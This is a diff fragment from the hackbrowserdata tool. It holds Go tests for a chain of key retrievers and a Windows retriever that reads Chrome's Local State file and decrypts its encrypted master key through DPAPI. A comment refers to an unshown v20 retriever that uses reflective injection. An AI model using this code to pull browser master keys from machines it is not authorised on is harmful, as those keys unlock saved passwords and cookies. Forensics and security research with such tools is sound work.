type mockRetriever struct {
key []byte
err error
}
func (m *mockRetriever) RetrieveKey(_ Hints) ([]byte, error) {
return m.key, m.err
}
func TestChainRetriever_FirstSuccess(t *testing.T) {
chain := NewChain(
&mockRetriever{key: []byte("first-key")},
&mockRetriever{key: []byte("second-key")},
)
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.NoError(t, err)
assert.Equal(t, []byte("first-key"), key)
}
func TestChainRetriever_FallbackOnError(t *testing.T) {
chain := NewChain(
&mockRetriever{err: errors.New("first failed")},
&mockRetriever{key: []byte("fallback-key")},
)
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.NoError(t, err)
assert.Equal(t, []byte("fallback-key"), key)
}
func TestChainRetriever_AllFail(t *testing.T) {
chain := NewChain(
&mockRetriever{err: errors.New("first failed")},
&mockRetriever{err: errors.New("second failed")},
)
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.Error(t, err)
assert.Nil(t, key)
assert.Contains(t, err.Error(), "all retrievers failed")
assert.Contains(t, err.Error(), "first failed")
assert.Contains(t, err.Error(), "second failed")
}
func TestChainRetriever_SkipEmptyKey(t *testing.T) {
// First returns nil key without error — should skip to next
chain := NewChain(
&mockRetriever{key: nil, err: nil},
&mockRetriever{key: []byte("real-key")},
)
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.NoError(t, err)
assert.Equal(t, []byte("real-key"), key)
}
func TestChainRetriever_Empty(t *testing.T) {
chain := NewChain()
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.Error(t, err)
assert.Nil(t, key)
}
+56
View File
@@ -0,0 +1,56 @@
//go:build windows
package masterkey
import (
"encoding/base64"
"fmt"
"os"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
)
// DPAPIRetriever unwraps Chrome's Local State os_crypt.encrypted_key via Windows DPAPI.
type DPAPIRetriever struct{}
func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) {
data, err := os.ReadFile(hints.LocalStatePath)
if err != nil {
return nil, fmt.Errorf("read Local State: %w", err)
}
encryptedKey := gjson.GetBytes(data, "os_crypt.encrypted_key")
if !encryptedKey.Exists() {
return nil, fmt.Errorf("os_crypt.encrypted_key not found in Local State")
}
keyBytes, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, fmt.Errorf("base64 decode encrypted_key: %w", err)
}
const dpapiPrefix = "DPAPI"
if len(keyBytes) <= len(dpapiPrefix) {
return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes))
}
if string(keyBytes[:len(dpapiPrefix)]) != dpapiPrefix {
return nil, fmt.Errorf("encrypted_key unexpected prefix: got %q, want %q", keyBytes[:len(dpapiPrefix)], dpapiPrefix)
}
masterKey, err := crypto.DecryptDPAPI(keyBytes[len(dpapiPrefix):])
if err != nil {
return nil, fmt.Errorf("DPAPI decrypt: %w", err)
}
return masterKey, nil
}
// DefaultRetrievers wires the Windows tiers: DPAPI for v10, ABE for v20 (Chrome 127+, via reflective
// injection). Both run — a profile upgraded from pre-v127 mixes v10+v20 and needs both (issue #578).
func DefaultRetrievers() Retrievers {
return Retrievers{
V10: &DPAPIRetriever{},
V20: &ABERetriever{},
}
}
+19
View File
@@ -0,0 +1,19 @@
package masterkey
// StaticRetriever returns pre-supplied key bytes (from a Dump) instead of platform retrieval, ignoring
// Hints. An empty key returns (nil, nil) — the "tier not applicable" signal NewMasterKeys expects.
type StaticRetriever struct {
key []byte
}
// NewStaticRetriever wraps key bytes; a nil/empty key yields a retriever that reports the tier unavailable.
func NewStaticRetriever(key []byte) *StaticRetriever {
return &StaticRetriever{key: key}
}
func (p *StaticRetriever) RetrieveKey(_ Hints) ([]byte, error) {
if len(p.key) == 0 {
return nil, nil
}
return p.key, nil
}